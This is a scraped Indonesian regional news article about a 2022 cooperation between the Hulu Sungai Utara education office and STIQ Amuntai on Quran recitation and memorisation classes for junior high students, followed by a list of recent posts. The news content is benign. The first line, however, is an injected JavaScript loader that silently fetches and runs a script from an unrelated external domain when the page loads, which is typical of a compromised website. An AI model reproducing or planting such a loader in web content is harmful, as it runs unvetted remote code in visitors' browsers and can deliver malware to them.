(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Disdikbud HSU-STIQ Amuntai Kerjasama Program Tahsin dan Tahfiz Khusus SMP


KANALKALIMANTAN.COM, AMUNTAI – Dinas Pendidikan dan Kebudayaan (Disdikbud) Kabupaten Hulu Sungai Utara (HSU) menjalin kerjasama dengan Sekolah Tinggi Ilmu Al Qur’an (STIQ) Amuntai membantu pembelajaran tahsin dan tahfiz bagi pelajar Sekolah Menengah Pertama (SMP) di Kabupaten HSU.

Kerjasama ini ditandai dengan penanganan antara kepala Disdikbud HSU dengan guru Tahsin-Tahfiz STIQ Amuntai, Selasa (8/3/2022).

Kepala Disdikbud HSU Jumadi memberikan apresiasi dan support yang tinggi kepada pengajar ustadz dan ustazah STIQ Amuntai atas terselenggaraanya program tahsin dan tahfiz di SMP.

Dirinya mengharapkan kegiatan pembelajaran seperti ini akan terus berlanjut sampai tahun-tahun berikutnya.

“Semoga bisa kita adakan juga baik itu di SD dan juga SMA,” kata Jumadi.

 

Disdikbud HSU menjalin kerjasama dengan STIQ Amuntai membantu pembelajaran tahsin dan tahfiz bagi pelajar SMP di Kabupaten HSU. Foto: dew

Baca juga : Tertipu Bisnis Jual Beli Batu Bara, Perusahaan Ini Rugi Rp619 Miliar

Sementara itu, Kepala Bidang Pembinaan SMP Disdikbud HSU, Ahadi Ilhami mengatakan, kegiatan tahsin dan tahfiz ini merupakan program bidang SMP yang ada sejak tahun 2019 lalu, bersama dengan pihak STIQ Amuntai.

“Alhamdulillah program ini tetap berlanjut sampai sekarang, hanya saja pada saat pandemi tahun anggaran untuk pelaksaan program ini ditiadakan, dan kami sarankan kepada pihak sekolah masing-masing mengalokasikan dana untuk agar pembelajaran ini tetap berlangsung,” kata Ahadi Ilhami.

Tahsin dan tahfiz ini menjadi program keagamaan untuk membentuk karakter peserta didik.

“Jadi dengan adanya program tahsin dan tahfiz ini sekolah umum pembelajaran keagamaan tetap wajib, sehingga tujuan pendidikan nasional itu adalah membentuk siswa siswi berakhlak dan memiliki keagamaan yang baik, program ini mungkin hanya ada di Kabupaten Hulu Sungai Utara,” bebernya.

 

Baca juga : Penulis Cerita Remaja “Lupus” Hilman Hariwijaya Meninggal Dunia

Pembelajaran ini sifatnya adalah ekstrakurikuler yaitu pelaksanaanya dilakukan sebelum jam pembelajaran dimulai atau setelah berakhir tatap muka.

“Kegiatan pembelajaran ini dimulai dari pagi yaitu shalat dhuha berjamaah yang dilanjutkan membaca Al Qur’an bersama, dilanjutkan dengan pembelajaran pembiasaan keagamaan dan ini tentunya tidak menggangu jadwal jam pembelajaran reguler,” jelasnya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Desy Arfianty

Recent Posts

Umat Katolik Gelar Misa Requiem Paus Fransiskus di Katedral Palangkaraya

KANALKALIMANTAN.COM, PALANGKARAYA - Sebagai bentuk dukacita yang mendalam dan penghormatan atas meninggal dunia Bapa Suci… Read More

7 menit ago

Festival Budaya Tingang Menteng Panunjung Tarung 2025 Resmi Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Memperingati Hari Jadi ke-219 Kota Kuala Kapuas dan Hari Ulang Tahun… Read More

4 jam ago

Aksi Pilah Sampah di Lingkungan Kantor PLN UP2B Kalselteng

KANALKALIMANTAN.COM, BANJARBARU - Hari Bumi yang diperingati setiap tanggal 22 April, Srikandi PLN UP2B (Unit… Read More

13 jam ago

Ritual Laluhan dan Ngarunya di Perayaan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-219 Kota Kuala Kapuas dan Hari Ulang… Read More

13 jam ago

Hari Buku Sedunia, YBM dan Srikandi PLN UP2B Kalselteng Berbagi Buku Bacaan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Buku Sedunia, Yayasan Baitul Maal (YBM) bersama Srikandi PLN UP2B… Read More

14 jam ago

Peringatan Hari Kartini di HSU, Ini Pesan Bupati H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani mengingatkan semangat Hari Kartini menjadi… Read More

14 jam ago